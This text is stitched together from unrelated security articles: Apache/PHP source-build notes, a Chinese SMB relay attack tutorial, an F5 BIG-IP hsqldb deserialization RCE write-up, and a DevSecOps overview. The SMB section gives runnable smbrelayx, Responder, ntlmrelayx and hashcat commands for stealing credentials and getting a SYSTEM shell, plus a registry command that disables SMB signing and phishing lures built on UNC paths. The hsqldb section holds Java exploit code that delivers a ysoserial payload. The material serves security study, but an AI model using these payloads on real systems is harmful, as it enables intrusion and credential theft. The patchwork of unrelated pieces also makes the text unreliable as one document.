我从源码编译Apache后，它的all_buckets位于heap区域，无法通过PHP获取其地址，猜测是编译选项或者编译器的问题，做了很多尝试最终还是没有解决这个问题，这里记录一下相关的内容，
方便以后有机会再分析。
非源码环境的进程maps：
gdb-peda$ p all_buckets
$5 = (prefork_child_bucket *) 0x7f2847b501d0
7f2847ae3000-7f2847af7000 rw-s 00000000 00:01 279724 /dev/zero (deleted)
7f2847af7000-7f2847b46000 rw-p 00000000 00:00 0
7f2847b46000-7f2847bf9000 rw-p 00000000 00:00 0
7f2847bf9000-7f2847c0b000 rw-p 00000000 00:00 0
7f2847c0b000-7f2847c0c000 r--p 00027000 08:01 661145 /lib/x86_64-linux-gnu/ld-2.27.so
7f2847c0c000-7f2847c0d000 rw-p 00028000 08:01 661145 /lib/x86_64-linux-gnu/ld-2.27.so
...
源码环境的进程maps：
gdb-peda$ p all_buckets
$1 = (prefork_child_bucket *) 0x557e1eddf878
$ sudo cat /proc/130839/maps
557e1ddf4000-557e1dea8000 r-xp 00000000 08:01 2114741 /usr/local/httpd/bin/httpd
557e1e0a8000-557e1e0ab000 r--p 000b4000 08:01 2114741 /usr/local/httpd/bin/httpd
557e1e0ab000-557e1e0af000 rw-p 000b7000 08:01 2114741 /usr/local/httpd/bin/httpd
557e1e0af000-557e1e0b2000 rw-p 00000000 00:00 0
557e1ed67000-557e1ee10000 rw-p 00000000 00:00 0 [heap]
557e1ee10000-557e1ef18000 rw-p 00000000 00:00 0 [heap]
源码安装Apache httpd
sudo apt update
sudo apt-get -y install build-essential git autoconf vim
wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.6.5.tar.gz
tar xf apr-1.6.5.tar.gz
cd apr-1.6.5
./configure --prefix=/usr/local/apr/ CFLAGS=-g
make
sudo make install
cd ..
sudo apt-get install libexpat1-dev
wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.6.1.tar.gz
tar -zxvf apr-util-1.6.1.tar.gz
cd apr-util-1.6.1
./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr CFLAGS=-g
make
sudo make install
cd ..
sudo apt-get -y install libpcre3-dev zlib1g-dev
wget http://archive.apache.org/dist/httpd/httpd-2.4.38.tar.gz
tar -zxvf httpd-2.4.38.tar.gz
cd httpd-2.4.38
./configure --prefix=/usr/local/httpd/
--sysconfdir=/etc/httpd/
--with-include-apr
--disable-userdir
--enable-headers
--with-mpm=prefork
--enable-modules=most
--enable-so
--enable-deflate
--enable-defate=shared
--enable-expires-shared
--enable-rewrite=shared
--enable-static-support
--with-apr=/usr/local/apr/
--with-apr-util=/usr/local/apr-util/bin
--with-ssl
--with-z
CFLAGS=-g
make
sudo make install
sudo ln -s /usr/local/httpd/bin/apachectl /usr/sbin/apachectl
sudo groupadd www
sudo useradd -g www www -s /bin/false
sudo sed -i 's,#ServerName www.example.com,ServerName localhost,' /usr/local/httpd/conf/httpd.conf
sudo sed -i 's,User daemon,User www,' /usr/local/httpd/conf/httpd.conf
sudo sed -i 's,Group daemon,Group www,' /usr/local/httpd/conf/httpd.conf
sudo echo -e "nListen 8080nAddType application/x-httpd-php .php" >> /usr/local/httpd/conf/httpd.conf
sudo apachectl start
测试
ps -aux|grep httpd
curl localhost
web目录
cat /etc/httpd/httpd.conf |grep DocumentRoot
参考
https://blog.csdn.net/m0_37886429/article/details/79643078
https://segmentfault.com/a/1190000002763150
源码安装PHP
sudo apt-get -y install
libxml2-dev
libcurl4-openssl-dev
libjpeg-dev
libpng-dev
libxpm-dev
libmysqlclient-dev
libpq-dev
libicu-dev
libfreetype6-dev
libldap2-dev
libxslt-dev
libssl-dev
libldb-dev
sudo apt-get -y install build-essential
wget https://www.php.net/distributions/php-7.2.13.tar.gz
tar -zxvf php-7.2.13.tar.gz
cd php-7.2.13
./configure --prefix=/usr/local/php7.2.13 --with-apxs2=/usr/local/httpd/bin/apxs --with-gd CFLAGS=-g
make
sudo make install
测试
$ sudo ln -s /usr/local/php7.2.13/bin/php /usr/sbin/php
$ php -v
PHP 7.2.13 (cli) (built: May 8 2020 01:10:56) ( ZTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
参考
https://docs.moodle.org/38/en/Compiling_PHP_from_source | 社区文章 |
**SMB重放攻击：**
当访问格式为`\\IP\File`的时候，会默认将当前用户密码凭证送到SMB服务进行认证，失败后才弹出需要输用户密码的对话框，但此时SMB服务器已经收到了相应数据，通过抓包即能获取到用户凭证。
有了这个凭证，再进一步利用Hashcat等工具进行破解即有可能 得到能利用的用户密码。
* * *
SMB通信采用的是 **NTLM验证机制**
NTLM认证的流程：
正常认证的情况下(参考klion)：
Client端 ------ Server端
1、当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地
2、接着,client端会将自己的username明文发送给DC
3、此时,DC会生成一组8字节的随机数,也叫challenge(挑战码),返回给client端
4、当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response,最后再将challenge,response和username一并发送给Server端
5、Server端在接收到Client端传过来的这个三个值以后会将它们分别都转发给DC
6、DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密
7、最后,就剩比对了,把客户端传过来的response和在第六步中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败
重放攻击的情况(个人理解就是中间人攻击)：
1、Client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了Server端,但实际上它是先发给了攻击者
2、然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3、攻击者拿到这个challenge以后再把它返回给client端
4、而client端拿到challenge在本地和自己的password
DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5、最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7、server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
* * *
**关于smb重放的一些利用前提条件：**
1、目标机器不能开启smb签名（），否则利用无效，一般情况下，Windows
Server系列会默认开启，而Windows单机系统[win7/8/8.1/10]默认都不会开
关闭SMB签名验证的命令： Windows Server系列中RequireSecuritySignature子键默认值为1
`reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v
RequireSecuritySignature /t REG_DWORD /d 0 /f`
* * *
实验过程：
攻击机器：ubuntu 192.168.1.143
被攻击机器：win7 192.168.1.138
第三方机器：win2008r2 192.168.1.152
1、第一步：探测smb签名以及系统版本和开放情况
`nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24`，结果是08r2的机器没有开放，win7的机器有开放
2、第二步：ubuntu机器上进行smb中继攻击，这里利用的是impacket套件中的smbrelayx.py
`sudo python smbrelayx.py -h 192.168.1.143 -e ~/shell.exe`
3、第三步成功的情况：然后再将第三方机器，然后第三方机器上执行`net use
\\192.168.1.143`，默认会将本机的Hash凭证和对方发来的挑战码生成NTLMv2哈希值再发送过去进行验证
这里需要注意的`192.168.1.143`是我们的攻击机器，搭建的伪SMB服务器，用来欺骗被攻击的机器，然后伪SMB服务器接收到了发送过来的凭证（NTLMv2哈希值）又会重放请求我们要请求的机器为`192.168.1.143`，然后会利用这个凭证对被攻击的机器进行创建服务，以system权限运行服务，反弹shell的行为
3、第三步失败的情况：当接收到NTLMv2哈希值是错误的时候，操作与上面的一样，只是在建立ipc管道连接的时候需要输入错误的账号和密码
还需要注意的就是：这种启动服务会在windows日志中保存！
* * *
刚才是对SMB签名关闭的情况，现在我们试下对Win7开启SMB签名的情况下再利用的是怎么样的
1、Win7机器上执行，开启SMB签名`reg add
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v
RequireSecuritySignature /t REG_DWORD /d 1 /f`
2、检查是否关闭`nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24`
3、再重复上面的操作，第三方机器`net use \\192.168.1.143`，发现结果如下
* * *
**利用hashcat破解Net-Ntlmv2：**
1、将拿到的response也就是Net-Ntlmv2保存到hash.txt中，进行破解 -m 5600指定破解hash类型为Net-Ntlmv2
`hashcat64.exe -m 5600 hash.txt pass.txt`
2、结果如下
* * *
想下：别人肯定不会无缘无故用其他计算机的ip来进行ipc管道类似的网络访问，这种是不切实际的，那么在实战中可以怎么利用呢？
两种途径：第一种肯定是我们去监听局域网中的SMB流量传输，窃取相应的凭证，第二种就是我们进行钓鱼，让被攻击方自己上钩，其实就是一个主动一个被动的关系！
**钓鱼欺骗（主动）：**
1、可以通过在用户经常访问的 Web 网站（已经被我们拿下web权限）上插入 UNC 路径, 例如`<img
src="\\192.168.1.2\logo.jpg" />` 以进行 SMB 请求
(当前用户凭据)，发现成功重放攻击，一般来说getshell不太可能，但是大概率能够拿到Net-Ntlmv2，实在不行也可以进行破解的操作
理解：自己感觉实用性一点都不好用，但是大家需要知道的就是unc路径走的是SMB协议，所以才能对Net-Ntlmv2进行抓取
**监听流量（被动）：Responder**
1、利用 Responder 来进行 LLMNR/NetBIOS-NS 以及 WPAD 欺骗 `sudo python2 Responder.py -I
ens33 -v`
2、然后让第三方机器访问其他机器，Responder进行投毒欺骗，抓取到的Net-Ntlmv2的流量
在这里Responder起到的作用就是帮我们把Net-Ntlmv2进行捕获的，如果要对Net-Ntlmv2进行利用的话可以用到impacket套件中的ntlmrelayx.py，`sudo python2 ntlmrelayx.py -t
192.168.1.158`，默认会帮你对攻击的机器进行sam中的dump哈希的操作
理解：自己感觉这种监听流量很有效，但是进行欺骗不知道动静大不大，在实战中抓到Net-Ntlmv2更重要一点，对于拿服务器权限我们其实随时都可以，前提是SMB签名关闭
**拓展：**
在实际渗透过程中，往往会配合钓鱼进行，红队经常这么玩。
1、在共享上放置特殊的目录，当用户点到这个目录的时候会自动请求攻击的SMB
2、在doc或邮件正文里插入文件，然后将相应的链接改为UNC路径（类似这种`\\servername\sharename`格式），通过内网邮件发送给对方
3、利用PDF的GoTobe和GoToR功能让对方打开PDF时自动请求SMB服务器上的文件等等。一般企业内部员工看到内部的邮件或公用共享文件夹会放松警惕，当点开之后，当前用户密码登录凭证已经被人拿到。
参考文章：<https://cloud.tencent.com/developer/news/200028>
4、metasploit中的`auxiliary/docx/word_unc_injector`会创建一个带有unc路径的word文件，当该文件被打开的时候攻击机器的msf上就会收到NTLMv2
hash，也就是response
**文章参考：**
<https://paper.seebug.org/474/> 《花式窃取NetNTLM哈希的方法》
<http://www.sohu.com/a/328732685_609556> 《SMB重放攻击》
《内网针对AD域的攻击方式和防护方法》 | 社区文章 |
**Author：Longofo@Knownsec 404 Team**
**Date: July 10, 2020**
**Chinese Version:<https://paper.seebug.org/1271/>**
F5 BIG-IP has recently suffered a serious RCE vulnerability. The main public
entrypoint is the tmsh and hsqldb. There are many uses and analysis of tmsh.
If you have reproduced the use of tmsh, you should know that this place is
used. Some tasteless, tmsh will not be analyzed later, mainly look at the use
of hsqldb. The use of hsqldb [poc](https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902) has been published, but the https of java
hsqldb has been unable to reproduce, try There is no way to do it in various
ways, so I have to change other ideas. The following records the process of
recurrence and stepping on the pit.
#### Use the source code to build an hsqldb http servlet
If you have debugged hsqldb, you should know that the code of hsqldb.jar
cannot be debugged with a breakpoint. This is because the linenumber table
information of the class in hsqldb is gone. The linenumber table is only used
for debugging. There is nothing for the normal running of the code.
influences. See the difference between the normally compiled class and the
lineumber table of the hqldb class:
Use the `javap -verbose hsqlServlet.class` command to see the details of the
hsqlServlet.class class in hsqldb:
Classfile /C:/Users/dell/Desktop/hsqlServlet.class
Last modified 2018-11-14; size 128 bytes
MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V
#2 = Class #8 // hsqlServlet
#3 = Class #9 // org/hsqldb/Servlet
#4 = Utf8 <init>
#5 = Utf8 ()V
#6 = Utf8 Code
#7 = NameAndType #4:#5 // "<init>":()V
#8 = Utf8 hsqlServlet
#9 = Utf8 org/hsqldb/Servlet
{
public hsqlServlet();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V
4: return
}
Use `javap -verbose Test.class` to see the class information we compiled:
Classfile /C:/Users/dell/Desktop/Test.class
Last modified 2020-7-13; size 586 bytes
MD5 checksum eea80d1f399295a29f02f30a3764ff25
Compiled from "Test.java"
public class Test
minor version: 0
major version: 51
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #7.#22 // java/lang/Object."<init>":()V
#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #25 // aaa
#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String #19 // test
#6 = Class #28 // Test
#7 = Class #29 // java/lang/Object
#8 = Utf8 <init>
#9 = Utf8 ()V
#10 = Utf8 Code
#11 = Utf8 LineNumberTable
#12 = Utf8 LocalVariableTable
#13 = Utf8 this
#14 = Utf8 LTest;
#15 = Utf8 main
#16 = Utf8 ([Ljava/lang/String;)V
#17 = Utf8 args
#18 = Utf8 [Ljava/lang/String;
#19 = Utf8 test
#20 = Utf8 SourceFile
#21 = Utf8 Test.java
#22 = NameAndType #8:#9 // "<init>":()V
#23 = Class #30 // java/lang/System
#24 = NameAndType #31:#32 // out:Ljava/io/PrintStream;
#25 = Utf8 aaa
#26 = Class #33 // java/io/PrintStream
#27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V
#28 = Utf8 Test
#29 = Utf8 java/lang/Object
#30 = Utf8 java/lang/System
#31 = Utf8 out
#32 = Utf8 Ljava/io/PrintStream;
#33 = Utf8 java/io/PrintStream
#34 = Utf8 println
#35 = Utf8 (Ljava/lang/String;)V
{
public Test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this LTest;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String aaa
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
public void test();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #5 // String test
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 7: 0
line 8: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 this LTest;
}
SourceFile: "Test.java"
We can see that in the class you compiled, each method has a LineNumberTable.
This information is used for debugging, but there is no such information in
hsqldb, so it is impossible to debug breakpoints. hsqldb should add some
parameters during compilation or use other ways to remove this information.
No way to debug is a very uncomfortable thing, I think of two now to debug:
1. Decompile the code of hsqldb and recompile it by yourself, so that there is linenumber information, but decompilation and recompilation may encounter some error problems. This part has to manually correct the code manually, which is indeed feasible. This way can be seen in the hsqldb analysis of f5
2. Open source code, run directly with source code
The code of hsqldb happens to be open source, so let's start a servlet
directly with the source code.
**Environment** :
* The hsqldb source code is 1.8, and the new version is now 2.5.x. To match the hsqldb in f5, use the 1.8 code.
* JDK7u21, JDK7 used in F5 BIG-IP version 14, so try to match it to avoid various problems.
Although it is open source, there are still some problems when dragging to
idea. I modified some codes to let him run normally. The modified code is put
in [github](https://github.com/longofo/hsqldb-source) on, the final project
structure is as follows:
Use http to exploit the hsqldb vulnerability (ysoserial cc6, many other chains
are also acceptable):
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
}
#### Use requests to send packets to simulate hsqldb RCE
The java hsqldb https problem cannot be solved, then use requests to send
https packages, first simulate the http package. Grab the payload package sent
using the java code above, a total of three packages were sent, the first is
the connection package, which is connected to the hsqldb database, and the
second and third packages are the packages that execute the statement:
According to the code, look at the specific information returned by the first
data packet. The main read and write information is handled by the Result
class, which is 20 bytes in total:
* 1~4: total length 00000014, a total of 20 bytes
* 5~8: mode, connection is ResultConstants.UPDATECOUNT, is 1, 00000001
* 9~12: databaseID, if the default configuration is directly like the above, databaseID will not be assigned on the server side, initialized by jdk to 0, 00000000
* 13~16: sessionID, this value is the value assigned by DatabaseManager.newSession, each connection is a new value, this time is 00000003
* 17~20: for connection, it is updateCount. Note the max rows (out) or update count (in) written above. If the default configuration is as above, updateCount will not be assigned on the server side, initialized by jdk to 0, 00000000
After the analysis of the connection information is completed, the next packet
will definitely use the information of the first returned packet and attach it
to the subsequent sending packet. Here only the second sending packet is
analyzed, and the third packet is the same as the second one. , Are all
packages that execute statements:
* 1~4: The total length is 00000082, here is 130
* 5~8: mode, here is ResultConstants.SQLEXECDIRECT, 0001000b
* 9~12: databaseID, which is 00000000 above
* 13~16: sessionID, which is 00000003 above
* 17~20: updateCount, which is 00000000 above
* 21~25: statementID, this is sent by the client, in fact it does not matter, this time is 00000000
* 26~30: Length of execution statement
* 31~: All statements are executed later
It can be seen that the above processing process is very simple. Through this
analysis, it is easy to send requests using requests. For https, just set
verify=False.
#### Deserialize the trigger position
The trigger position of deserialization here is:
In fact, it is not caused by org.hsqldb.util.ScriptTool.main, but by the
deserialization caused by the parsing of the syntax of the hsqldb parser. Just
change the ScriptTool to another one, for example,
`org.hsqldb.sample.FindFile.main` is also ok.
#### F5 BIG-IP hsqldb debugging
If you still want to debug the F5 BIG-IP hsqldb, it is also possible. The
hsqldb in the F5 BIG-IP adds some code itself, decompiles his code, then
corrects the decompiled code error, and then repackages it. It can be
debugged.
#### F5 BIG-IP hsqldb echo
* Since it can be deserialized, it can be written to the response using the template-related utilization chain
* Use the command to find the fd file of the socket and write it to the socket
* This time, there is already a fileRead.jsp, and you can write command result to /tmp，then use fileRead.jsp to read it.
#### Hsqldb connection security risks
As can be seen from the data packet, hsqldb does not return much information
for the first time. The additional information used later is databaseID,
sessionID, updateCount, which are only 4 bytes (32 bits), but there are always
small numbers The connection is ranked first, so you can blast out the
available databaseID, sessionID, updateCount. However, for this F5 BIG-IP,
just use the default above, without blasting.
#### Sum up
Although I didn’t write much, it seemed quite easy after writing, but the
process was actually some difficult. At the beginning, I didn’t look at the
package based on the code. I just sent a few packages for comparison and then
wrote a script, but I couldn’t run on F5 BIG-IP hsqldb, the F5 hsqldb code is
still debugged later, and many problems I have solved. At the same time, I
also saw that there are certain security risks in hsqldb. If we directly blast
databaseID, sessionID, updateCount, it is may be easy to blast out the
available databaseID, sessionID, updateCount.
* * * | 社区文章 |
# 浅析DevSecOps
简单先阐述下瀑布式开发，敏捷式开发以及DevOps
### 瀑布式开发和敏捷式开发
#### **瀑布式开发**
基本流程是 **需求** **→** **设计** **→** **开发** **→** **测试** ， 是一个更倾向于严格控制的管理模式 。
要求有明确的需求，大家按照需求一步步做好规划，每一阶段工作的完成是下一阶段工作开始的前提，每一阶段都要进行严格的评审，保证各阶段的工作做得足够好时才允许进入下一阶段。这种模式一般适用于需求比较明确、to
B 端的项目。( **传统制造业适用** )
#### **敏捷式开发**
以用户需求进化为核心、迭代、循序渐进的开发方法。首先把 用户（客户 ）最关注的软件原型做出来，交付或上线，在实际场景中去 快速
修改弥补需求中的不足，再次发布版本。通过一些敏捷实践方式，细化story
，提供更小的迭代。如此循环，直到用户（客户）满意。适用于需求不明确、创新性或者需要抢占市场的项目。( **大部分互联网产业适用** )
瀑布式与敏捷式的一个比对
| 瀑布式开发 | 敏捷式开发
---|---|---
工作方式 | 1\.
重视和强调过程文档，以文档驱动项目，将软件项目开发周期严格划分为几个固定阶段(需求分析，系统设计，软件设计，编码，测试，交付)，每个阶段结束都有对应的详细文档作为输出;
2.上一个阶段的输出就是下一个阶段的输入，直至完成整个开发流程。 | 1\.
更加强调人的协作(团队之间，客户与团队之间)在高度协作的环境中使用选代方式进行增量开发
2\. 客户可对每次选代的成果提出修改意见，开发人员进行调整和完善;
3\. 进行多次选代直至完成完整产品交付。
优点 | 1\. 每个阶段目的明确，阶段人员完全专注于该阶段的工作，有助于提高阶段效率;
2\. 由于存在详细的过程文档，在早期就能明确出项目的范围和概况，能够更有效的组织和调配资源开展项目。 |
1.阶段性成果可以在开发过程中被客户查验，从而降低项目开发的风险性;
2.灵活性高，需求的变更可在任何时候进行。
缺点 | 1\. 开发过程中大量的文档，极大的增加了工作量;
2\. 项目后期才能展示成果给客户，增加了项目开发的风险(例如项目最终与客户预期差别很大，若要修复会造成项目的延期和成本增加);
3\. 需求变更的成本较高(需求的变动理论上也会严格按照各个阶段去实施,导致时间成本过高) |
1.最终交付的内容无法预测，预期和实际完成的内容经常会有很大差异;
2.敏捷需要高水平的协作以及开发人员和用户之间的定期沟通。业务和IT人员在沟通前需要做大量的准备工作，但很多情况下业务的沟通时间无法保证。
适用项目 | 软件需求十分明确并且不会有频繁变化的项目 | 需求不明确、具创新性或者需要抢与市场的项目
### **DevOps**
还需介绍下DevSecOps前身DevOps。
DevOps主张在软件开发生命周期的所有步骤实现自动化和监控，缩短开发周期，增加部署频率。
一个软件从零开始到最终交付，大概包括以下几个阶段： **产品规划、开发编码、构建、QA测试、发布、部署和维护**
。(《研发运营一体化（DevOps）能力成熟度模型》中标准分为 **敏捷开发管理、持续交付、技术运营、应用设计、安全风险管理和组织结构**
7个部分，涵盖了全软件的开发和运维生命周期)
最初大家说到DEVOPS，都是指的‘开发运维一体化’
现在大家说的 DevOps 已经是扩大到“端到端”的概念了，如下图：
DevOps 的三大支柱之中，即人（People）、流程（Process）和平台（Platform）。即
DevOps = 人 + 流程 + 平台
人 + 流程 = 文化
流程 + 平台 = 工具
平台 + 人 = 赋能
无论是瀑布式开发、敏捷开发还是DevOps，整个流程都分为设计、开发、测试和部署四个部分，只不过各个部分的开始和结束时间节点不同而已。
### **DevSecOps**
而我们的DevSecOps模型，主要就是在DevOps上增加了安全的概念。
相对于 DevOps 而言，DevSecOps 增加了安全要求， **可以帮助企业在软件研发阶段便关注信息安全，从而解决大部分安全隐患** 。但
DevSecOps 并非简单地增加安全要求。通常来说，效率与安全是存在冲突的，重视安全便可能降低效率。DevSecOps 的
**目标是在不影响效率的前提下提升软件系统安全性**
，使两者能够相得益彰。首先，DevSecOps在明确业务系统安全需求的前提下，制定贯穿软件系统全生命周期的实践方案，通过在软件开发的不同阶段将安全工具或安全活动进行整合，将各个信息安全孤岛进行串联，协同作战，实现安全开发、安全测试、安全部署和安全运营的统一融合，在提升软件系统研发过程标准化与自动化的同时，降低对效率的影响，也降
低安全的成本。
另外，DevSecOps
的实践，也对企业、研发人员、安全人员和运维人员有着重要的意义。对于企业整体，实践DevSecOps，可以帮助企业保持良好的合规记录，避免安全事件导致的资产损失；对于研发人员，实践DevSecOps，可以在一开始就开展安全的软件开发，减少返工、降低成本，并提升效率；对于安全运维人员，实践
DevSecOps，可以提升软件质量，降低安全事故，减少低价值的重复任务。
**DevOps的核心价值是快速交付价值，灵活响应变化。** 相应的，DevSecOps价值是在不牺牲所需安全性的前提下，快速和规模地交付安全决策。
DevSecOps主要分为10个阶段，分别是计划（Plan）、创建（Create）、验证（Verify）、预发布（Preprod）、发布（Release）、预防（Prevent）、检测（Detect）、
响应（Respond）、预测（Predict）、适应（Adapt），其中预防（Prevent）在之前的版本里也有叫做配置（Configure）。
#### 计划（Plan）
计划阶段是DevSecOps的第一个阶段，其 **包含了SDL模型里培训、需求、设计**
等几个阶段，主要关注的是开发前的安全动作。根据Gartner官方工具链模型可以看出其主要是包含有偿还技术安全债务、安全开发衡量指标、威胁建模、安全工具培训。
技术债务指开发人员为了加速软件开发，在应该采用最佳方案时进行了妥协，改用了短期内能加速软件开发的方案，从而在未来给自己带来的额外开发负担。那么对应的技术安全债务就是相关技术架构中一些考虑不完善的点而潜藏的安全风险，一般就是在安全设计或者需求阶段没有进行相关的
安全设计和评估而导致，在后续的安全工作里都是需要认识其风险并且给出安全解决方案逐渐偿还。举个例子，比如在一些项目的开发过程中为了快
速实现功能，选用了一些不安全的框架，那么在后续的维护过程中可能会不断受其安全问题影响而需要不断的进行修复，比如说struts2，那么安全团
队应该给出方案，比如说禁用替换该组件。
安全开发衡量指标为需要制定对应的安全开发的衡量指标，以便于评估安全开发模型实施的效果，比如漏洞发现率，统计上线前后漏洞的发现情况，
来评估安全开发流程是否有效在安全开发过程中有效收敛安全漏洞。
威胁建模是在需求和设计阶段识别和消减安全威胁的一种手段，如SDL里微软提出的“STRIDE”，基于数据流图去识别不同环节是否存在仿冒、篡改、
抵赖、信息泄露、拒绝服务、权限提升几个维度的安全威胁，并制定对应的消减措施，落实并验证。这里还有个概念是轻量的威胁建模，相对比“STRIDE”
这种传统意义上比较复杂的威胁建模过程，轻量的威胁建模通常通过安全checklist等方式进行简单快速的实现设计、需求阶段的安全风险识别并处置，一般也容易落地与实行，并且也能取得一定的效果，而不至于让这个安全动作名存实亡。
安全工具培训则就是字面的意思，由于 **DevSecOps相对比SDL等更强调自动化** ，所以相关安全动作通常由安全工具实现，同时
**安全动作不再只是安全团队执行** ，所以也要针对开发等同学进行安全工具使用的培训，以便于帮助其在不同阶段使用安全工具进行检查。
当然，除了DevSecOps工具链所标记的四点，其实在计划阶段，类似安全编码规范、安全编码培训、安全流程的学习、安全需求定义、制定和发布标准化
安全功能等需求、设计阶段实际安全动作都可以归入这个阶段，并不存在明显的冲突或者矛盾。
有关SDL叙述文章可以参考 <https://xz.aliyun.com/t/11922>
#### 创建（Create）
创建阶段主要就是指编码阶段。编码阶段主要进行安全编码及检查，旨在在编码阶段进行安全风险的消除。主要包含
**参考安全编码规范进行安全编码，通过IDE安全插件进行源代码的安全检测，也可以进行安全编码规范的自动化检查，如是否使用不安全或禁用的函数等；甚至是检查代码中是否引用使用了不安全或不合规的第三方组件**
。
#### 验证（Verify）
验证阶段其实就是测试阶段，主要以自动化的应用安全测试（AST，Application Security Testing）和
软件成分分析（SCA，Software Composition Analysis）为主。
应用安全测试主要分为动态应用安全测试（DAST）、静态应用安全测试（SAST）、交互式应用安全测试（IAST,）。
DAST 是一种黑盒测试方式，是
在应用测试或运行环境模拟黑客构造特定的恶意请求从而分析确认应用是否存在安全漏洞的一种方式，也是过去最常用的一种应用测试方式，比如我们常见的
**APPSCAN、AWVS、W3AF 等 Web 漏洞扫描器就是属于这种类型** 。
而 SAST 是针对源代码的一种分析测试方式（部分工具也会依赖 于编译过程甚至编译后文件进行分析测试），常见的 **Coverity、 _Fortify_
Static Code Analyzer、CodeQL 等自动化静态代码审计工具**就属于这个类型。
而 IAST 是 Gartner 在 2012 年提出的一种应用安全测试方式，寻求 **结合 DAST 和 SAST
的优势，其实现原理通常通过插桩的方式在应用环境安装
Agent，在特定位置插入探针，然后通过测试用例执行触发请求，探测获取请求、代码数据流、控制流等，然后进行综合的判断分析是否存在漏洞** 。相对比 DAST
和
SAST，IAST既能识别漏洞所在代码位置，又能记录触发漏洞的请求。相对比其他两类应用安全测试，IAST的一些现有成熟工具会比较少，但国内外也开始涌现相关厂商在输出这块的工具。
软件成分分析主要是关注应用中引入使用的第三方组件的情况。根据 Gartner 和 Synopsys 调研报告显示，99% 的组件在企业 IT 系统以及
99% 的 软件中使用第三方组件，而 Synopsys 2020 年开源安全报告更是指出 75% 的开源代码存在漏洞，49% 包含高风险漏洞，所以
**第三方组件安全问题成为影响软件安全问题的核心点之一** 。 **SCA
通过分析软件成分，识别软件中使用的第三方组件是否存在安全问题或者合规风险，以此消除第三方 组件带来的安全风险** 。该类工具主要有 OWASP
Dependency Check、BlackDuck Hub、FOSSID 等。
#### 预发布（Preprod）
预发布阶段一般是测试阶段及正式发布阶段的中间阶段，其与测试阶段不同的是预发布阶段所发布的预发布环境是连接的正式环境的数据库等，其等同于独立部署的非对外公开的正式环境。在DevSecOps工具链中预发布阶段主要包含有混沌工程（Chaos
Engineering）、模糊测试（Fuzzing）、集成测试三个安全动作。
混沌工程，是一种提高技术架构弹性能力的复杂技术手段，以实验发现系统性弱点，简单的解释就是
**通过主动制造故障，测试系统在各种压力下的行为，识别并修复故障问题，避免造成严重后果。**
**模糊测试是将自动或半自动生成的随机数据输入到一个程序中，并监视程序异常，如崩溃，断言（assertion）失败，以发现可能的程序错误**
，比如内存泄漏等。跟SAST、DAST、IAST等不同的是，AST是基于已知经验发现安全问题，模糊测试捕捉的是未知的安全问题。
**集成测试是在单元测试的基础上，将所有模块按照设计要求（如根据结构图）组装成为子系统或系统，进行集成测试。**
